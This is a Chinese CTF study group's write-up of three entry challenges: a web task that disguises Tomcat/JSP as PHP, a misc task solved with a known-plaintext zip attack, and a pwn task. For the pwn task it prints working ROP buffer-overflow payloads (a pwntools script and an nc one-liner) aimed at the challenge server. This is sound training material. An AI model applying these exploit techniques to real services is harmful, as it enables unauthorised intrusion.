CTF学习交流群,由于加群人数已经超过预期,故此第一期3个入群题完成它们的“使命”,现在入群题正在更换中,现放出第一期3个入群题的简单writeup,欢迎讨论交流。
(旧题的链接暂时不撤下)
(地址: http://www.p007.cc:8888/)
这一题也是大家最痛恨的一题,于是我先写下。
访问链接后,表面是空白的,然后查看源代码,发现
如果有经常留意国外ctf的话,会发现这段代码是Hack Dat Kiwi CTF – 2017的MD5 GAMEs 2题目,那场比赛里只有一个队伍做出来,而且是通过发现平台的漏洞而拿到flag的,而且比赛官方给的writeup也是理论性而已,所以这代码的解法暂时没有。
这题的关键也就是everything is p5eud0,这里p5eud0形似英文单词pseudo,也就是一切都是假的。
这里说一切是假的,那么大胆的想象下php代码是假的,或者服务器压根就没解析php代码,于是php代码才原样显示出来,而php后缀名只是一个幌子而已。
这题就连PHPSESSIONID、nginx都是假的
其实是tomcat+jsp,以下是Dockerfile的部分:
#pseudoRUN sed -i 's/jsp/php/' /usr/local/tomcat/conf/web.xmlRUN sed -i '$i<error-page><error-code>404</error-code><location>/404.php</location></error-page>' /usr/local/tomcat/conf/web.xmlRUN sed -i 's/port="8080"/port="80" server="nginx"/' /usr/local/tomcat/conf/server.xmlRUN sed -i 's/<Context/<Context sessionCookieName="PHPSESSIONID" /' /usr/local/tomcat/conf/context.xml
本来我是要让人猜出是jsp,但无奈很多信息都没了,就连Wappalyzer也没辨别出来
也就只有一点不太像泄露的php代码,不论GET或者POST提交都会显示那句话。
本来想的一些招数就不用了,直接弄个源码泄露,不然真的会被各位打死的。
我特意建立了一个/.git目录,而里面没有任何东西,当你访问/.git/index和/.git/config都没有的时候,就应该认为没有存在git泄露,相对而言的一个套路是告诉你去github官网找找看。(在这里澄清下,这种去github上找源码的ctf题以前可是有不少的哦。)
然后关键是找哪个账户的github呢?回想下,everything is p5eud0 (这样的名字肯定是我为了题目而建立的用户名)
访问 https://github.com/p5eud0/p5eud0
里面有一个index.jsp(←_←现在相信是jsp代码了吧)
这里/WEB-INF/是tomcat的一个特殊目录,一般而言不能从浏览器直接访问的,可以通过jsp:forwatd跳转来访问。由于是入群题,只要你找到这里,我就基本让你过了,只要提交md5=__pseudocat__就可以看到flag了。
(地址: http://pan.baidu.com/s/1gfL987T )
附件是一个misc.zip,若是直接解压,得到一个i.png,丢入binwalk里
发现末尾有一个zip,zip里有2个文件,第一个文件名为_,第二个文件名为flag.xlsx,而且zip是加密了,在图片里也找不到什么信息,也不是伪加密也不是弱密码。回想上一期的misc吧,当时是把第2图片以NTFS流存储在最开始的rar包,那么这题有木有可能也是用同样的套路呢?
回到最早的misc.zip,使用binwalk,发现了存在2个zip,一个里面包含_,另一个则是我们刚才解压的那个。
当2个zip包叠放在一起的,一些压缩包软件(如winrar)会显示底部那个zip,而另外一些(如360压缩)会显示第一个zip。
这题是要使用zip的明文攻击,而攻击包我都直接给准备了,不需要你们再去压缩了,这次就不会被说需要什么特定的压缩软件了吧。←_←
分别从misc.zip前面和i.png后面把zip包抠出来,然后使用Advanced Archive Password Recovery(APCHPR),推荐4.53版本,
当破解出来的时候,点击“确定”,就可以另存为破解出来的压缩包。至于该文件的口令为32位,这里是破解不了的,但不影响。
打开flag.xlsx是这样的:
这个excel很大,这里可以编程把数值取出来,再绘制图。但还有一个更简单的做法,对excel进行缩放:
图中空白处就是flag
( nc p007.cc 9999 附件地址:https://pan.baidu.com/s/1o8UO81k)
用IDA打开callme,从main进去
进去pwnme函数,发现可能可以溢出的fgets
再用pwntools的checksec查下,发现没什么保护
再用IDA打开libcallme.so
主要就是callme_one、callme_two、callme_three三个函数,分别是读取encrypted_flag.txt、key1.dat、key2.dat
所以只要溢出,更改ret,依次调用callme三个函数,注意满足函数的第一个参数为1,第二个参数为2,第三个参数为3。
以下分享下群成员天河的payload:
# -*- coding:utf8 -*- __author__='天河' from pwn import * context.log_level = "debug" #p=process("./callme") p=remote("p007.cc",9999) payload= 40 *'a' s=ELF("./callme") addr=0x401ab0 addr2=s.plt['callme_one'] addr3=s.plt['callme_two'] addr4=s.plt['callme_three'] payload+=p64(addr) payload+=p64(1)+p64(2)+p64(3) payload+=p64(addr2) payload+=p64(addr) payload+=p64(1)+p64(2)+p64(3) payload+=p64(addr3) payload+=p64(addr) payload+=p64(1)+p64(2)+p64(3) payload+=p64(addr4) p.sendlineafter("> ",payload) p.recvall()
再分享群成员poyoten的payload:
python -c "print 'A'*40+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x50\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x70\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x10\x18\x40'+'\x00'*5" | nc p007.cc 9999
欢迎各位讨论。
欢迎加入CTF学习交流,群号码:473831530 ,旧题已下线,新题将在近期更新。
(ps:这群跟chamd5没关系的哦~)